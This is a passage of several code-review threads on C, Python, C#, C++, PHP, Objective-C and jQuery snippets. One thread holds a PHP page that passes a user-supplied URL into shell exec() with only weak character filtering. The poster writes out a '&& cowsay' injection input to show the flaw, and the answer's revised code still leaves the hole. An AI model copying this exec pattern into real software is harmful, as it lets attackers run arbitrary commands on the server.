        for (int n = 0;n < length;n++) {
            key = rand() % stringLen;
            randomString[n] = string[key];
        }

        randomString[length] = '\0';

        return randomString;
    }
    else {
        printf("No memory");
        exit(1);
    }
}

The code seems to work ok.
Any ideas, improvements or bugs?

I added the mySeed var so that if I call it twice with the same length it doesn't give me the same exact string.

EDIT:

I have changed the code to this:

char *randstring(size_t length) {

    static char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789,.-#'?!";
    char *randomString = NULL;

    if (length) {
        randomString = malloc(sizeof(char) * (length +1));

        if (randomString) {
            for (int n = 0;n < length;n++) {
                int key = rand() % (int)(sizeof(charset) -1);
                randomString[n] = charset[key];
            }

            randomString[length] = '\0';
        }
    }

    return randomString;
}

I know that in the sizeof(charset) you don't have to use the (). You only need them when using sizeof with types, but it's just out of habit.

Your function is nice but has a few issues, the main one being that it
  should not call srand.  srand should be called elsewhere (eg in main)
  just once.  This seeds the random number generator, which need only be done
  once.

A minor issue is that string is badly named - charset might be better.
  It should be const and you then need not call strlen to find its length
  sizeof charset -1 is enough.  For me, randomString is an unnecessarily
  long name.

On failing to allocate memory for the string, I would prefer to see a NULL
  return than an exit.  If you want an error message, use perror, but
  perhaps in the caller, not here.  I would be inclined to avoid the
  possibility of such an error but passing in the buffer and its length
  instead of allocating.

Some minor points: sizeof(char) is 1 by definition and using short for
  key is pointless - just use int.  Also key should be defined where it
  is used and I would leave a space after the ; in the for loop definition.

Note also that using rand() % n assumes that the modulo division
  is random - that is not what rand promises.

Here is how I might do it:

static char *rand_string(char *str, size_t size)
{
    const char charset[] = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJK...";
    if (size) {
        --size;
        for (size_t n = 0; n < size; n++) {
            int key = rand() % (int) (sizeof charset - 1);
            str[n] = charset[key];
        }
        str[size] = '\0';
    }
    return str;
}

Edit July 31 23:07UTC

Why would I write the function to take a buffer instead of allocating the
string inside the function?

Returning dynamically allocated strings works fine.  And if the memory is
later freed there is no problem.  But writing this sort of function is a great
way to leak memory, for example if the caller doesn't know the memory must be
freed or forgets to free memory, or even if he frees it in the main path but
forgets to free it in other paths etc.

Memory leaks in a desktop applications might not be fatal, but leaks in an
embedded system will lead eventually to failure.  This can be serious,
depending upon the system involved.  In many embedded systems, dynamic
allocation is often not allowed or is at least best avoided.

Although it certainly is common not to know the size of strings or buffers
at compile time, the opposite is also often true.  It is often possible to
write code with fixed buffer sizes.  I always prefer this option if possible
so I would be reluctant to use your allocating function.  Perhaps it is better
to add a wrapper to a non-allocating function for those cases where you really
must allocate dynamically (for example when the random string has to outlive the calling context):

char* rand_string_alloc(size_t size)
{
     char *s = malloc(size + 1);
     if (s) {
         rand_string(s, size);
     }
     return s;
}


Cellular automaton (Conway's Game of Life) in python As a practice exercise, I implemented a cellular automaton (Conway's Game of Life) in python (with help from this tutorial).

I am very curious, if this code follows common best practices and I am wondering how to improve the code in terms of performance and readability.

import numpy as np
import matplotlib.pyplot as plt
from matplotlib import animation

arr = []

size_grid_x = 6
size_grid_y = 6
universe = np.zeros((size_grid_x, size_grid_y))
new_universe = np.copy(universe)

beacon = [[1, 1, 0, 0],
          [1, 1, 0, 0],
          [0, 0, 1, 1],
          [0, 0, 1, 1]]

universe[1:5, 1:5] = beacon

def update(universe, x, y):
    X = size_grid_x
    Y = size_grid_y

    neighbors = lambda x, y: [(x2, y2) for x2 in range(x - 1, x + 2)
                              for y2 in range(y - 1, y + 2)
                              if (-1 < x <= X and
                                  -1 < y <= Y and
                                  (x != x2 or y != y2) and
                                  (0 <= x2 <= X) and
                                  (0 <= y2 <= Y))]

    num_neighbours = sum([universe[i] for i in neighbors(x, y)])
    new_val = universe[x, y]

    if universe[x, y] and not 2 <= num_neighbours <= 3:
        new_val = 0

    elif num_neighbours == 3:
        new_val = 1
    return new_val

for i in range(100):
    for x in range(5):
        for y in range(5):
            new_universe[x, y] = update(universe, x, y)

    universe[:, :] = new_universe[:, :]
    arr.append(np.copy(universe))

fig = plt.figure()
i = 0
im = plt.imshow(arr[0], animated=True)

def update_figure(*args):
    global i
    if i < 99:
        i += 1
    else:
        i = 0
    im.set_array(arr[i])
    return im,

ani = animation.FuncAnimation(fig, update_figure, blit=True)
plt.show()

I'm on my phone, so I can't write anything too elaborate. I'll just make some notes:

I don't think you're making good use of functions here. For the most part, you have everything tucked inside of update. I think that function is far too large, and doing too much explicitly. I would, for example, create a function called should_live or something similar that is passed the cell's current state and number of neighbors, and returns if the cell should be alive the next tick or not.

You do break some of that functionality off into a local function neighbors, but I don't think it's ideal the way you've done it. I would make that an external function, and I would call it n_neighbors or count_neighbors or something similar to make it clearer that it's a function that counts neighbors, not a collection of neighbors. You could also clean up that long list comprehension guard by creating a is_inbounds function that checks if a point is i bounds or not.

I'd also rename update, as is isn't actually updating anything. It's gathering information then returning a decision.

I would not have code top-level like you have it here. Having the code run just because you loaded it will get annoying if you ever change your workflow to involve a REPL. I would tuck the routine into a main function, then maybe call that function from a if __name__ == "__main__" block.

In short, I'd break your code up more and be more cautious when it comes to naming.


Single-threaded timer I've created a System.Threading.Timer wrapper in C#. The tasks to be triggered when the timer elapses have highly variable execution times. My design criteria are:

Provide a strongly typed timer state in the callback
Run the timer callback on a periodic basis
If the timer's period elapses before the timer callback completes

Do not run the timer callback a second time in parallel
Run time timer callback again immediately after the running callback completes

Do not run the timer callback more than once per period

As an example, given a timer that elapses every 3 seconds:

3s  - Timer elapse triggers task
6s  - Timer elapse triggers task, but task does not run because      the previous run is not complete
9s  - Timer elapse triggers task, but task does not run because      the previous run is not complete
10s - Task finishes running
10s - Task immediately runs again because the previous run crossed      a period boundary
11s - Task finishes running
12s - Timer elapse triggers task

I ended up with the following class:

public class NonOverrunningTimer<TState>
{
    private readonly Func<TState, TState> _delegate;
    private readonly TimeSpan _interval;
    private readonly System.Threading.Timer _timer;

    public NonOverrunningTimer(Func<TState, TState> @delegate, TimeSpan interval, TState initialState = default(TState))
    {
        if (interval == TimeSpan.Zero)
        {
            throw new Exception($"Cannot initialize a timer with a period of {TimeSpan.Zero}");
        }

        State = initialState;
        _delegate = @delegate;
        _interval = interval;
        _timer = new System.Threading.Timer(UntypedCallback, null, TimeSpan.Zero, interval);
    }

    public TState State { get; private set; }

    private volatile bool _running;
    private volatile bool _waiting;
    private readonly object _executeLock = new object();
    public void UntypedCallback(object state)
    {
        if (_running && _waiting)
        {
            return;
        }

        if (_waiting && !_running)
        {
            _waiting = false;
        }

        if (_running)
        {
            _waiting = true;
            return;
        }

        using (var @lock = new TryLock(_executeLock))
        {
            if (!@lock.HasLock)
            {
                return;
            }

            _running = true;

            State = _delegate(State);

            _running = false;
            if (_waiting)
            {
                _waiting = false;
                _timer.Change(TimeSpan.Zero, _interval);
            }
        }
    }

    private class TryLock : IDisposable
    {
        private object _locked;

        public bool HasLock { get; private set; }

        public TryLock(object obj)
        {
            if (Monitor.TryEnter(obj))
            {
                HasLock = true;
                _locked = obj;
            }
        }

        public void Dispose()
        {
            if (!HasLock)
            {
                return;
            }

            Monitor.Exit(_locked);
            _locked = null;
            HasLock = false;
        }
    }
}

I'm interested in general feedback as well as whether something like this already exists in the BCL/Framework libraries and I just missed it.

The TryLock class shouldn't be netested.

I'd also add a factory method to it and make it much simpler like this and create an instance only when a lock could be accuired:

private class Locker : IDisposable
{
    private object _locked;

    private Locker(object obj)
    {
        _locked = obj;
    }

    public static Locker Create(object obj)
    {
        return Monitor.TryEnter(obj) ? new Locker(obj) : null;
    }

    public void Dispose()
    {
        Monitor.Exit(_locked);
    }
}

Later instead of checking the property you check if the instance isn't null:

using (var tryLock = Locker.Create(_executeLock))
{
    if (tryLock == null)
    {
        return;
    }

    ...
}

@variable

This kind of naming can and should really be avoided. I'm sure you can come up with a better name then just a delegate which says pretty nothing about the method.


A PHP script used on my home server to download YouTube videos I have a PHP page I used to download YouTube videos, hosted on my Pi 4.

The site is only going to be used on my home network (so a dot local address), but it allows me to download videos on my phone or computer without downloading any executables or special apps.

The user can submit a request on an HTML page with four options:

Form ID      : Description to user
----------------------------------------
bestquality  : MP4 (video with sound)
worstquality : MP4 (video without sound)
bestaudio    : M4A
worstaudio   : WEBM

This is a majority of the code used to make this:

<?php

//the file extension
$formatExt = "";

switch($_GET['format']) {
    case 'bestvideo': case 'worstvideo': $formatExt = "MP4"; break;
    case 'bestaudio': $formatExt = "m4a"; break;
    case 'worstaudio': $formatExt = "webm";
        break;
    default:
        echo("Illegal video format '".$_GET['format']."'!");
        exit(1);
}

$url = $_GET['url'];
$format = $_GET['format'];
$ytcmd = 'youtube-dl';

$directoriesInUse = array_filter(glob("./workers/*"), 'is_dir');

$integerIDs = array(sizeof($directoriesInUse));

//if the working directory changes, make sure to change the 2 at the end of the
//expression in the for loop to match the amount of '/' characters.
for($i = 0; $i < sizeof($directoriesInUse); $i++)
    $integerIDs[$i] = (int)explode("/", $directoriesInUse[$i])[2];

//If these are not sorted, it will see a list of 1 thru 14 and pick 9 as the largest number (because that's how the directory would be listed)
sort($integerIDs);

$numberToUse = $integerIDs[sizeof($integerIDs) - 1] + 1;

//prevent exploiting and issuing server commands
$url = str_replace(" ", "", $url);
$url = str_replace("|", "", $url);

//url may contain & for a playlist, so it will be removed here to prevent other issues.
$url = substr($url, 0, strpos($url, "&"));

//Download the video, the "--format" option will not download audio for a video (worstvideo is video w/o audio)
if($format === "bestaudio" or $format === "worstaudio" or $format === "worstvideo")
        $response = exec('mkdir ./workers/'.$numberToUse.' && cd ./workers/'.$numberToUse.'/ && '.$ytcmd.' --no-playlist --format '.$format.' -o \'%(title)s.%(ext)s\' '.$url);
else
        $response = exec('mkdir ./workers/'.$numberToUse.' && cd ./workers/'.$numberToUse.'/ && '.$ytcmd.' --no-playlist -o \'%(title)s.%(ext)s\' '.$url);

//Get the first file in a directory, this SHOULD be the video that was downloaded.  It is not possible (AFAIK) to get the file name of a video from the youtube-dl binary
function magicWorkers($path) {
    return array_diff(scandir($path), array('.', '..'))[2];
}

//change file date so the crontab doesn't delete the file too early (youtube-dl may save the file with the date it was uploaded)
echo exec("touch ./workers/".$numberToUse."/".magicWorkers("./workers/".$numberToUse));

//sleep 2 seconds for good measure (in case things haven't updated for whatever reason, this has happened!)
sleep(2);

//This works, but I would like to find an alternative soon (prompt download vs direct)
header("Location: ./workers/".$numberToUse.'/'.magicWorkers("./workers/".$numberToUse));

exit(0);

The server is being hosted on an Apache2 web server in the /var/www/html/ directory, and Apache2 has rw- access in the /var/www/html/workers/ directory.

I have seen some security problems with this before, for instance, inputting example.com/video && cowsay MOO will execute the cowsay command, so I made a small patch by disabling the characters " " (space), "&", and "|".

My other concern is that I am linking the user directly to the file to download, whereas it would be better (and probably more secure) if they were prompted for the download.

One last thing: I have a crontab that runs every minute to delete files in the workers directory (older than two hours) to make sure that the space on the Pi doesn't fill up (directories do not get deleted).

Initial thoughts

I must admit I hadn't heard of the youtube-dl program but it seems quite nifty. Perhaps it was what many of the websites I have seen for downloading YT videos use behind the scenes.

I tried using the script locally and found that the URL must contain an ampersand (i.e. have 2+ query string variables), otherwise the logic to look for a playlist parameter and remove it would lead to an empty string passed to the youtube-dl program. But some URLs I see from Youtube only have zero or one parameters (e.g. https://www.youtube.com/watch?v=DuB6UjEsY_Y and the equivalent sharing link: https://youtu.be/DuB6UjEsY_Y).

Initially I was wondering why $numberToUse couldn't be set to count($directoriesInUse) + 1 but then I realized that some of those directories could be deleted and that might lead to issues. Then I considered that if you could parse out a video id (which seems to have remained the same since 2014)  from the URL then that could be used instead of an integer for the sub-directory name.

Suggestions

Use a mapping instead of a switch

The switch could be simplified:

switch($_GET['format']) {
    case 'bestvideo': case 'worstvideo': $formatExt = "MP4"; break;
    case 'bestaudio': $formatExt = "m4a"; break;
    case 'worstaudio': $formatExt = "webm";
        break;
    default:
        echo("Illegal video format '".$_GET['format']."'!");
        exit(1);
}

A mapping could be defined of formats to extensions:

const FORMAT_MAPPING = [
    'bestvideo' => "MP4",
    'worstvideo' => "MP4",
    'bestaudio' => "m4a",
    'worstaudio' => "webm"
];

Then if the query string is missing that key or that key does not exist in the mapping, show the error and exit early.

if (!isset($_GET['format']) || !array_key_exists($_GET['format'], FORMAT_MAPPING)) {
    echo("Illegal video format '".$_GET['format']."'!");
    exit(1);
}

Otherwise just assign the value to $formatExt:

$formatExt = FORMAT_MAPPING[$_GET['format']];

Control structures not using statement groups

While it may seem unlikely that there would be a need for multiple lines following if, else or for statements, it is best to put the statements to execute in a group (i.e. with curly braces/brackets). Then when you determine that you need to add a line to one of those statement groups, it eliminates any chance of logic error.

if($format === "bestaudio" or $format === "worstaudio" or $format === "worstvideo") {
        $response = exec('mkdir ./workers/'.$numberToUse.' && cd ./workers/'.$numberToUse.'/ && '.$ytcmd.' --no-playlist --format '.$format.' -o \'%(title)s.%(ext)s\' '.$url);
}
else {
        $response = exec('mkdir ./workers/'.$numberToUse.' && cd ./workers/'.$numberToUse.'/ && '.$ytcmd.' --no-playlist -o \'%(title)s.%(ext)s\' '.$url);
}

or has lower precedence than || and others like assignment

Note the operator precedence list and how or is at the end of the list, while logical or i.e. ||, is above assignment and others:

There is a good illustration of the difference in the user contributed notes by fabmlk:

  Watch out for the difference of priority between 'and vs &&' or '|| vs or':

<?php
$bool = true && false;
var_dump($bool); // false, that's expected

$bool = true and false;
var_dump($bool); // true, ouch!
?>

  Because 'and/or' have lower priority than '=' but '||/&&' have higher.

So it is wise to get in the practice of using || unless you know you need or

use foreach instead of for

Instead of this for loop:

for($i = 0; $i < sizeof($directoriesInUse); $i++)
    $integerIDs[$i] = (int)explode("/", $directoriesInUse[$i])[2];

A foreach could be used

foreach ($directoriesInUse as $i => $directory) {
    $integerIDs[$i] = (int)explode("/", $directory)[2];
}

One could also use array_map(). Instead of storing an array of integers, you could just keep track of the maximum number seen - using max(). That would avoid the need to sort the array. This likely wouldn’t be a major optimization unless there were a large number of directories.

Logical flaw when no ampersand exists in URL

As was mentioned above, this line doesn't work well when there is no ampersand in $url

//url may contain & for a playlist, so it will be removed here to prevent other issues.
$url = substr($url, 0, strpos($url, "&"));

This is because strpos() "Returns FALSE if the needle was not found."1. I would update the code to only perform that alteration if the string actually contains an ampersand.

1http://php.net/strpos


Determine if an image is opaque or transparent I wrote an extension method defined for the Image Class (System.Drawing) —
 which returns a Boolean value telling you if the image is opaque or transparent.

The color of each pixel in the image is represented as a 32-bit number: 8 bits each for alpha, red, green, and blue (ARGB). Each of the four components is a number from 0 through 255, with 0 representing no intensity and 255 representing full intensity.

The alpha component specifies the transparency of the color.

If any pixel in the image has a value not equal to 255 in its alpha channel, then the image is not opaque, and therefore transparent.

    public static bool IsOpaque(this Image image)
    {
        var bitmap = new Bitmap(image);
        var bitmapData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Width, bitmap.Height), ImageLockMode.ReadOnly,
            PixelFormat.Format32bppArgb);
        unsafe
        {
            var p = (byte*)bitmapData.Scan0;
            for (var x = 0; x < bitmap.Width; x++)
            {
                for (var y = 0; y < bitmap.Height; y++)
                {
                    if (p[x * 4 + y * bitmapData.Stride + 3] == 255) continue;
                    bitmap.UnlockBits(bitmapData);
                    return false;
                }
            }
        }
        bitmap.UnlockBits(bitmapData);
        return true;
    }

Concerns:

Can performance be improved at all?
Is it possible to improve readability and reusability without affecting performance?

I don't know how good the C# compiler and runtime optimize this code out of the box, so here is what I would try:

Load bitmap.Width, bitmap.Height and bitmapData.Stride into local variables.
Swap the two for loops, making x the inner loop. Memory accesses are now linear instead of jumping around (to see this, print the array index in your current code).

Side node: You should check whether your code works correctly on big-endian platforms. The + 3 looks suspicious. You could use a uint * instead of the byte * and test the pixel value like this: (p[x + stride * y] >= 0xFF000000.


C++ 14 thread pool executor design With a few experience of python and golang, I tried to make (simple) thread pool executor. Tasks of the executor must be copy-constructible std::function<void()> and the result of tasks are required in the main thread.

My Header and Implementation File:

#include <iostream>
#include <queue>
#include <chrono>
#include <atomic>
#include <thread>
#include <mutex>
#include <shared_mutex>
#include <functional>

class PoolExecutor
{
public:
    explicit PoolExecutor(const unsigned int pool_size)
        : stop_(false)
        , working_(0)
    {
        for(unsigned int i = 0; i < pool_size; ++i)
        {
            this->threads_.emplace_back(
                std::thread(std::bind(&PoolExecutor::worker, this)));
        }

    }
    virtual ~PoolExecutor()
    {
        this->stop_ = true;
        for(auto& thread : this->threads_)
        {
            thread.join();
        }
    }

    void submit(std::function<void()> func)
    {
        {
            std::lock_guard<std::mutex> guard(this->mu2_);
            this->work_queue_.push(func);
        }
        this->cv_.notify_all();
    }

    bool finished()
    {
        std::lock_guard<std::mutex> guard(this->mu2_);
        return this->working_ == 0 && this->work_queue_.empty();
    }

    void stop()
    {
        this->stop_ = true;
    }

private:
    std::vector<std::thread> threads_;
    std::shared_timed_mutex mu_;
    std::mutex mu2_;
    std::atomic_bool stop_;
    std::atomic_int working_;
    std::condition_variable_any cv_;
    std::queue<std::function<void()> > work_queue_;

    void worker()
    {
        std::function<void()> func;
        while(!this->stop_)
        {
            using namespace std::literals::chrono_literals;
            std::shared_lock<std::shared_timed_mutex> lock(this->mu_, std::try_to_lock);
            this->cv_.wait_for(lock, 10ms);

            bool accquired = false;
            {
                std::lock_guard<std::mutex> guard(this->mu2_);
                if(!this->work_queue_.empty())
                {
                    func = this->work_queue_.front();
                    this->work_queue_.pop();
                    accquired = true;
                    this->working_++;
                }
            }
            if(accquired)
            {
                func();
                --this->working_;
            }
        }
    }
};

Sample Usage:

int main()
{
    PoolExecutor executor(8);
    std::mutex mu;
    int sum = 0;

    auto func = [&sum, &mu](const int i) {
        std::cout << "work " << i << " try lock\n";
        {
            //simulate long running function
            using namespace std::literals::chrono_literals;
            std::lock_guard<std::mutex> guard(mu);
            std::this_thread::sleep_for(10ms);
            std::cout << "work " << i << " acquire lock\n";
            sum += i;
        }
    };

    for(auto i = 0; i < 100; ++i)
    {
        executor.submit(std::bind(func, i));
    }

    int count = 0;
    while(!executor.finished())
    {
        using namespace std::literals::chrono_literals;
        std::this_thread::sleep_for(200ms);
        std::cout << "sleep count: " << ++count << "\n";
    }

    std::cout << "sum: " << sum << "\n";
    return 0;
}

I've tested with sample code using MSVC 15 (also tested with shared_mutex instead of shared_timed_mutex) and clang 3.8. The result is printed as expected, but I cannot sure what I did it.

Some questions.

Q1. Am I using mutex and lock correctly?

Q2. It is possible to use single mutex in PoolExecutor class?

Q3. Is there any ways to wait executor until finished?

this->threads_.emplace_back(
    std::thread(std::bind(&PoolExecutor::worker, this)));

Creative use of std::bind, but a lambda would have sufficed:

this->threads_.emplace_back(
    std::thread([this] () { this->worker() });

void submit(std::function<void()> func)
{
    this->cv_.notify_all();
}

Why bother waking all worker threads when only a single slice of work was added? std::condition_variable_any::notify_one() is more appropriate.

void stop()
{
    this->stop_ = true;
}

Here, on the other hand, std::condition_variable_any::notify_all() should have been used, wake the threads currently sleeping.

void stop()
{
    this->stop_ = true;
    this->cv_.notify_all()
}

std::shared_lock<std::shared_timed_mutex> lock(this->mu_, std::try_to_lock);
this->cv_.wait_for(lock, 10ms);

This part only works as expected for the first thread, as it actually gets the lock. The second thread fails to obtain the lock.

See the documentation for std::condition_variable_any::wait_for. The lock must be locked before entering wait_for.

That means you can't use std::try_to_lock, but actually need std::lock.

While at it, you should get used to using the optional 3rd parameter on wait to pass in a predicate in order to filter spurious wakes:

std::shared_lock<std::shared_timed_mutex> lock(this->mu_, std::lock);
this->cv_.wait_for(lock, 10ms, [this] () {return this->stop_ || !this->work_queue_.empty());

That predicate is executed before waiting for the first time, so if e.g. this->stop_ is already set by the time lock is aquired, wait() with the predicate returns immediately without requiring another wake up call.

At this point you can do away with the "timed" stuff as well. You no longer need it. You can now also replace your std::condition_variable_any by the simpler std::condition_variable.

In fact, neither do you need the 2nd mutex either:

std::mutex mu_;
std::condition_variable cv_;

...

bool finished()
{
    std::lock_guard<std::mutex> guard(this->mu_);
    return this->working_ == 0 && this->work_queue_.empty();
}

void worker()
{
    while(!this->stop_)
    {
        bool accquired = false;
        {
            std::unique_lock<std::mutex> lock(this->mu_);
            this->cv_.wait(lock, [this] () { return this->stop_ || !this->work_queue_.empty() );
            if(this->stop_) break;
            if(!this->work_queue_.empty())
            {
                func = this->work_queue_.front();
                this->work_queue_.pop();
                accquired = true;
                this->working_++;
            }
        }
        if(accquired)
        {
            func();
            --this->working_;
        }
    }
}

  Q1. Am I using mutex and lock correctly?

No. Even though it might have even worked, you violated the contract by attempting to wait on an unlocked mutex.

  Q2. It is possible to use single mutex in PoolExecutor class?

As seen above, yes.

  Q3. Is there any ways to wait executor until finished?

If by "finished" you mean the executor is ready to be destroyed? That is already the case.

Otherwise if you just mean to wait until the pool runs empty? Well, you do have std::atomic_int working_ in there.

All you really need now, is a second condition variable:

void wait() {
    std::unique_lock<std::mutex> lock(this->mu_);
    this->cv2_.wait(lock, [this] () {
        return ( this->working_ == 0 && this->work_queue_.empty() ) || this->stop_
    });
}

Now update the worker to invoke this->cv2_.notify_all() after decrementing this->working_ and you are done.


Logging System - Follow Up Previous question: C# Logging System

I have took your answers on board and added the following changes to my LogManager.cs class:

using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Sahara.Sahara.Core.Logging
{
    class LogManager
    {
        /// <summary>
        /// Holds the logging settings class.
        /// </summary>
        private readonly LogSettings logSettings;

        public LogManager()
        {
            this.logSettings = new LogSettings
            {
                TypesToSave = new List<LogType>(),
                LogFile = "Logs/line_logs.txt"
            };
        }

        /// <summary>
        /// Prints a line to the console using custom settings.
        /// </summary>
        /// <param name="line">Line you want to print.</param>
        /// <param name="logType">Type of line you want to print.</param>
        public void Log(string line, LogType logType)
        {
            ConsoleColor existingColor = Console.ForegroundColor;
            PrintLine(line);
            Console.ForegroundColor = existingColor;

            if (logSettings.TypesToSave.Contains(logType))
                WriteContentToFile(logSettings.LogFile, line);
        }

        /// <summary>
        /// Prints a line to the console.
        /// </summary>
        /// <param name="line">Line to print to the console.</param>
        private void PrintLine(string line)
        {
            Console.WriteLine(GetLogDateTime() + line);
        }

        /// <summary>
        /// Retruns a short string with the current time in brackets
        /// </summary>
        /// <returns></returns>
        private string GetLogDateTime()
        {
            return "[" + DateTime.Now.ToLongTimeString() + "] ";
        }

        /// <summary>
        /// Adds text to the log file.
        /// </summary>
        /// <param name="filePath">The path of the log file.</param>
        /// <param name="content">The text to write in the file.</param>
        private void WriteContentToFile(string filePath, string content)
        {
            try
            {
                using (FileStream fileStream = new FileStream(filePath, FileMode.Append, FileAccess.Write, FileShare.Read))
                using (StreamWriter writer = new StreamWriter(fileStream, Encoding.Unicode))
                {
                    writer.Write(content);
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.Message);
                Console.WriteLine(e.StackTrace);
            }
        }
    }
}

ConsoleColor existingColor = Console.ForegroundColor;
PrintLine(line);
Console.ForegroundColor = existingColor;

This suggests something in PrintLine changes the Console.ForegroundColor... but nothing does, so why even bother with the foreground color at all?

Seems this would have the exact same effect:

PrintLine(line);

But let's pretend for a minute, that PrintLine takes an argument that does change the foreground color:

PrintLine(line, logType);

Whose job is it to cache the original ForegroundColor, and reset it? That's right, PrintLine should be responsible for that.

By abstracting the Console.WriteLine call behind a method call, you've introduced mixed abstraction levels in your Log method: you have low-level Console.ForegroundColor reads and writes, and a higher-level PrintLine call, in the same method: if Console.WriteLine is too low-level implementation details for Log, then so is Console.ForegroundColor.

Keep abstraction levels separated.

You're still omitting braces:

if (logSettings.TypesToSave.Contains(logType))
    WriteContentToFile(logSettings.LogFile, line);

Should be:

if (logSettings.TypesToSave.Contains(logType))
{
    WriteContentToFile(logSettings.LogFile, line);
}

XML comments are great, but completely useless on private members; private members don't show up in IntelliSense, so what's the use? At best, they're redundant - if you're looking at WriteContentToFile, you are looking at the source code. If the code needs such comments, you need to work on naming things properly - but WriteContentToFile, filePath and content are pretty darn crystal-clear.

Actually the XML comments are not so great:

/// <summary>
/// Prints a line to the console using custom settings.
/// </summary>
/// <param name="line">Line you want to print.</param>
/// <param name="logType">Type of line you want to print.</param>

This is wrong. It's printing a line to the console and writing that line to a file, using hard-coded settings. This would be more accurate:

/// <summary>
/// Writes a new log entry.
/// </summary>
/// <param name="line">The text content of the log entry.</param>
/// <param name="logType">The type/level of log entry.</param>

The notion of "printing" is an implementation detail that doesn't belong in the public interface or anywhere in the documentation: one day that method will be writing log entries to a database - would "printing" still apply?

I would say the other isses have already been pointed out in the previous iteration - and they're important issues too, and you haven't addressed them here.

Log timestamps are still culture-dependent.
Settings are still hard-coded in the constructor.
Using that logger in a console app will still wreck the app's output.


HMSegmentedControl react to tapping on currently selected segment I'm using HMSegmentedControl, an open-source UISegmentedControl subclass. I'm trying to react to the user tapping on the currently selected segment. HMSegmentedControl only supports reacting to a segment CHANGE, with either UIControlEventValueChanged or a block that executes when the index is changed. I need to react to the currently selected segment in order to present a drop-down menu. Here is what I've done so far:

-(void)segmentedControlValueChanged:(HMSegmentedControl *)control {
    CGFloat midX = self.view.frame.size.width / 2 - _filterView.frame.size.width / 2;
    _filterView.frame = CGRectMake(midX, -_filterView.frame.size.height+64, _filterView.frame.size.width, _filterView.frame.size.height);
    _filterView.hidden = YES;

    _filterBackgroundView.alpha = 0.0f;
    _filterBackgroundView.hidden = YES;
}

-(void)segmentedControlTouchUpInside:(UIGestureRecognizer *)gr {

    if(!_filterView) {
        _filterView = (HomeFilterView *)[[NSBundle mainBundle] loadNibNamed:@"HomeFilterView" owner:self options:nil].firstObject;
        CGFloat midX = self.view.frame.size.width / 2 - _filterView.frame.size.width / 2;
        _filterView.frame = CGRectMake(midX, -_filterView.frame.size.height+64, _filterView.frame.size.width, _filterView.frame.size.height);
        _filterView.delegate = self;
        [self.view insertSubview:_filterView belowSubview:self.segmentedControl];
    }

    if(!_filterBackgroundView) {

        _filterBackgroundView = [[UIView alloc] initWithFrame:self.view.bounds];
        _filterBackgroundView.backgroundColor = [UIColor blackColor];
        _filterBackgroundView.alpha = 0.0f;
        [self.view insertSubview:_filterBackgroundView belowSubview:_filterView];
    }

    _filterView.hidden = NO;
    _filterBackgroundView.hidden = NO;

    [UIView animateWithDuration:0.5f delay:0.0f usingSpringWithDamping:0.55f initialSpringVelocity:0.0f options:UIViewAnimationOptionCurveLinear animations:^{

        CGFloat midX = self.view.frame.size.width / 2 - _filterView.frame.size.width / 2;
        CGFloat y = self.segmentedControl.frame.size.height + self.segmentedControl.frame.origin.y;
        _filterView.frame = CGRectMake(midX, y-70, _filterView.frame.size.width, _filterView.frame.size.height);

    } completion:^(BOOL finished) {

    }];

    [UIView animateWithDuration:0.25f animations:^{

        _filterBackgroundView.alpha = 0.5f;

    } completion:^(BOOL finished) {

    }];
}

I added a tap gesture recognizer to the segmented control. So, if a user selects the current segment, only segmentedControlTouchUpInside: will be fired. If a user selected a different segment, segmentedControlTouchUpInside: is fired, followed by segmentedControlValueChanged:. I'm relying on the segmentedControlValueChanged: method to be called after the gesture-recognizer method, and essentially "undo" the adding of the drop-down to the UI.

This is the only way I could figure out to handle the tapping of the current segment. It seems to accomplish what I'm going for in the UI, but can anyone think of a better way of doing this? Is this safe to do?

You can fork the control and do a tiny modification to the code to do what you need.

In touchesEnded:withEvent:, you need to modify this line so it wouldn't check if the tapped segment is the currently selected segment:

    if (segment < sectionsCount)


Toggling buttons on click Whenever a button is clicked, the following need to be performed:

All siblings of the clicked button get toggled
All edit_button get toggled, except for the edit_button within the same span as the clicked button (note: the excluded edit_button can be the same as the clicked button)

The JavaScript is working in the way I want it to, but I am curious if there's another better way to achieve the second requirement.

Note: save_button and cancel_button are hidden when first loaded.

$(function() {
  $('.edit_button, .save_button, .cancel_button').click(function() {
    $(this).toggle();
    $(this).siblings('button').toggle();
    $('div#personal_info').find('button.edit_button').not($(this).parent().find('button.edit_button')).toggle();
  });
});

    <button class="edit_button">Edit</button><button class="cancel_button">Cancel</button><button class="save_button">Save Changes</button>

    <button class="edit_button">Edit</button><button class="cancel_button">Cancel</button><button class="save_button">Save Changes</button>

    <button class="edit_button">Edit</button><button class="cancel_button">Cancel</button><button class="save_button">Save Changes</button>

The selector for all edit_buttons can be expressed as a single selector $('div#personal_info button.edit_button').

I am tempted to rewrite the code to use closure scope to cache the selector values e.g.

// Iterate using each to define cached values for selectors within a
// closure scope
$('.edit_button, .save_button, .cancel_button').each(function() {
  var button = $(this);
  // select all elements that need be toggled on click
  var toggled = $([
    button,
    button.siblings('button'),
    $('div#personal_info button.edit_button').
       not(button.parent().find('button.edit_button'))
  ]);
  // toggle each element separetely on click as the first element in a selector
  // defines the target visiblity of a no parameter .toggle()
  button.click(function() {
    toggled.each(
      function() {
        $(this).toggle();
      });
    });
});

The benefit of it is that less traversing is needed. Unfortunately the toggle method didn't work quite as I imagined it would when there are both hidden and shown elements in the selector when using jQuery 1.6.2.

The above code is available through jsFiddle

From a maintenance/cleanliness point of view I'm a bit wary how this piece of code merges the concerns of

Hiding all edit actions
Showing all edit actions
Displaying save and cancel actions for a specific edit action
Hiding save and cancel actions for a specific edit action

The result of all these goals leads to astonishment that is higher than the least possible. I don't really know what a good name for that function would be?

Also how and where are the event handlers for onclick events of .save_button and .cancel_button defined?


C program to print a vertical english ruler whose length is given by the user In this source code, i have writena program, using for loops, to print an english ruler whose length is given by the user.
So what i want to know is that is it possible to modify this program, to print the ruler in a more logical way And if so, how can it be done, without applying reculsions ?
This is the program to print ruler vertically.
#include <stdio.h>
int main()
{

    int q, num, x;
    int y, p, n;
    printf( "Enter height of central dashes \n" );
    scanf( "%d", &n );
    printf( "Enter number of inches \n" );
    scanf( "%d", &num );
    for( x=0; x < num ; x++ )
    {
    for( q=0; q<n; q++ )
    {
